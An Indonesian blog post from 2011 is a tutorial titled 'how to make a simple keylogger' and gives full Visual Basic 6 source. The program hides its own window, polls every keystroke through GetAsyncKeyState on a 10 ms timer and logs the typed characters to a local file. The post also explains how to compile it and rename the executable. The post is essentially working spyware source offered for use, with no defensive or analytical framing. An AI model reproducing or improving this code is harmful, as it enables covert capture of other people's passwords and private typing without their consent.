Selasa, 31 Mei 2011

Cara Membuat Keylogger Sederhana

[-].Buka Visual Basic Portable Maupun Installable

[-].Pilih standard exe

[-].Buat Sebuah Form Bernama Form1



Ne Dia Code nya.

Cara Masukin Kodenya (Buat yang newbie)

[-].Klik Kanan Pada Form - Pilih View Kode

[-].Masukin Kodenya



Ne Dia Kodenya

=====================================================================

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Type TList

kode As Integer

bawah As String

atas As String

End Type



Private List(1 To 255) As TList

Private IndexList As Integer



Private Sub AddToTable(kode As Integer, atas As String, bawah As String)

IndexList = IndexList + 1

List(IndexList).kode = kode

List(IndexList).atas = atas

List(IndexList).bawah = bawah

End Sub



Private Sub Build_Table()

Dim i As Integer

For i = 65 To 90

AddToTable i, Chr(i), Chr(i + 32)

Next i

AddToTable 48, ")", "0"

AddToTable 49, "!", "1"

AddToTable 50, "@", "2"

AddToTable 51, "#", "3"

AddToTable 52, "$", "4"

AddToTable 53, "%", "5"

AddToTable 54, "^", "6"

AddToTable 55, "&", "7"

AddToTable 56, "*", "8"

AddToTable 57, "(", "9"

AddToTable &H60, "", "0"

AddToTable &H61, "", "1"

AddToTable &H62, "", "2"

AddToTable &H63, "", "3"

AddToTable &H64, "", "4"

AddToTable &H65, "", "5"

AddToTable &H66, "", "6"

AddToTable &H67, "", "7"

AddToTable &H68, "", "8"

AddToTable &H69, "", "9"

AddToTable Asc(" "), " ", " "



End Sub



Private Sub Form_Load()

Me.Visible = False

Build_Table

End Sub



Private Sub AddToFile(Isi As String)

Dim Data As String

Dim FileHandler As Long



If (Dir(App.Path & "\mylog.txt") <> "") Then

FileHandler = FreeFile

Open App.Path & "\mylog.txt" For Input As #FileHandler

Data = Input(LOF(FileHandler) - 2, #FileHandler)

Close #FileHandler

End If



FileHandler = FreeFile

Open App.Path & "\mylog.txt" For Output As #FileHandler

Print #FileHandler, Data & Isi

Close #FileHandler

End Sub



Private Sub Timer1_Timer()

Dim i As Integer

Dim a, b As Integer

For i = LBound(List) To UBound(List)

a = GetAsyncKeyState(List(i).kode)

b = GetAsyncKeyState(16)

If (a = -32767) Then

If (b = -32768) Then

AddToFile List(i).atas

Else

AddToFile List(i).bawah

End If

Exit For

End If

Next

End Sub

========================================================================



Buat 1 buah Timer.Berinama Timer tersebut dengan Timer1

interval 10



Tinggal Compile Program......Caranya Klik Menu File Pilih Project.exe

Ganti Nama Keylogger Sesuai keinginanmu



File Log Keylogger Ini Akan Tersimpan Di Folder Dimana Tempat Keylogger ini berada dan bernama MyLog.txt



share this article to: Facebook Twitter Google+ Linkedin Technorati Digg
Posted by Ivant Ivank, Published at 06.38 and have 0 komentar

Tidak ada komentar:

Poskan Komentar